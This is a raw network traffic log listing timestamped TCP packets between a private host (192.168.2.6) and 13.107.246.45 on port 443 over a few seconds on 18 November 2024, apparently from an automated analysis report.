Nov 18, 2024 05:57:27.530313969 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.530323029 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.563344955 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.563796997 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.563819885 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.564218044 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.564225912 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.590399027 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.590517998 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.590574980 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.590850115 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.590850115 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.590872049 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.590884924 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.593066931 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.593102932 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.593314886 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.593549013 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.593559027 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.628045082 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.628252029 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.628298044 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.629170895 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.629188061 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.629199982 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.629204988 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.631679058 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.631726027 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.631825924 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.632055998 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.632076025 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.659197092 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.659379005 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.659447908 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.659487963 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.659487963 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.659504890 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.659517050 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.661659956 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.661681890 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.661748886 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.661881924 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.661891937 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.692836046 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.693017960 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.693068981 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.693128109 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.693137884 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.693147898 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.693151951 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.695851088 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.695894003 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.695950985 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.696192026 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.696209908 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.876889944 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.877517939 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.877569914 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.877991915 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.878002882 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.011204004 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.011388063 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.011570930 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.011650085 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.011650085 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.011693954 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.011717081 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.014426947 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.014480114 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.014573097 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.014734030 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.014739990 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.348038912 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.348711014 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.348735094 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.349060059 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.349065065 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.368952990 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.369412899 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.369442940 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.369684935 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.369690895 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.401314020 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.424422979 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.424451113 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.424956083 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.424962044 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.428354979 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.428698063 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.428735971 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.429152966 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.429160118 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.478267908 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.478339911 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.478384018 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.478529930 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.478545904 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.478559017 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.478564978 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.481554985 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.481600046 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.481668949 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.481853962 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.481868029 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.498462915 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.499135971 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.499185085 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.499223948 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.499243975 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.499258995 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.499264956 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.501465082 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.501492977 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.501549959 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.501691103 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.501703024 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.551752090 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.551824093 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.551882029 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.551979065 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.551984072 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.551995993 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.551999092 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.554012060 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.554025888 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.554095030 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.554224968 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.554234982 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.557590961 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.557845116 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.557892084 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.557923079 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.557931900 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.557952881 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.557957888 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.559834003 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.559861898 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.560029030 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.560264111 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.560273886 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.743495941 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.751504898 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.751523972 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.751919031 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.751921892 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.876126051 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.876187086 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.876231909 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.876393080 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.876403093 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.876415014 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.876419067 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.879040956 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.879069090 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:28.879162073 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.879321098 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:28.879332066 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.213387966 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.213912010 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.213943005 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.214370966 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.214378119 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.230606079 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.230947018 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.230972052 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.231313944 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.231319904 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.290760994 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.291565895 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.291574001 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.291946888 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.291950941 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.341764927 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.341780901 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.341963053 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.341998100 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.342143059 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.342200041 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.342384100 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.342420101 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.342446089 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.342459917 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.345289946 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.345309973 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.345390081 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.345547915 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.345556021 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.360788107 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.360949993 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.361008883 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.361073971 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.361084938 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.361109972 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.361114979 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.363364935 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.363392115 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.363470078 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.363594055 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.363616943 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.366863012 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.367213011 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.367222071 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.367750883 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.367755890 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.421813011 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.421840906 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.421888113 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.421904087 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.421943903 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.421978951 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.422080994 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.422094107 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.422113895 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.422118902 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.425761938 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.425815105 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.425884008 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.426055908 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.426069975 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.499049902 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.499217033 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.499277115 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.499407053 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.499428988 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.499439955 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.499445915 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.502557039 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.502667904 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.502752066 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.502903938 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.502948999 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.608993053 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.609580040 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.609606981 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.609957933 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.609965086 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.744183064 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.744239092 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.744390011 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.744390965 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.744441986 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.744494915 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.744518042 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.744529009 CET	49802	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.744534016 CET	443	49802	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.747106075 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.747195959 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:29.747288942 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.747437000 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:29.747458935 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.074160099 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.074706078 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.074721098 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.075195074 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.075200081 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.096395969 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.096915960 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.096980095 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.097237110 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.097254992 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.156447887 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.156886101 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.156909943 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.157391071 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.157397985 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.204946041 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.204976082 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.205046892 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.205197096 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.205197096 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.205348015 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.205360889 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.205372095 CET	49803	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.205378056 CET	443	49803	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.208291054 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.208314896 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.208398104 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.208553076 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.208559990 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.224203110 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.224282026 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.224385023 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.224746943 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.224746943 CET	49804	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.224793911 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.224821091 CET	443	49804	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.226713896 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.226757050 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.226818085 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.226953983 CET	49809	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.226967096 CET	443	49809	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.231086969 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.231420040 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.231450081 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.231779099 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.231791019 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.285762072 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.285924911 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.286027908 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.286112070 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.286112070 CET	49805	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.286151886 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.286175966 CET	443	49805	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.288829088 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.288861036 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.288947105 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.289202929 CET	49810	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.289210081 CET	443	49810	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.360678911 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.360851049 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.360924006 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.361051083 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.361080885 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.361107111 CET	49806	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.361121893 CET	443	49806	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.363987923 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.364027023 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.364111900 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.364270926 CET	49811	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.364279032 CET	443	49811	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.480770111 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.482517004 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.482542038 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.482948065 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.482958078 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.622694016 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.622790098 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.622847080 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.623001099 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.623018980 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.623034000 CET	49807	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.623040915 CET	443	49807	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.625968933 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.625993967 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.626074076 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.626280069 CET	49812	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.626296043 CET	443	49812	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.940787077 CET	443	49808	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:30.941488028 CET	49808	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:30.941504955 CET	443	49808	13.107.246.45	192.168.2.6
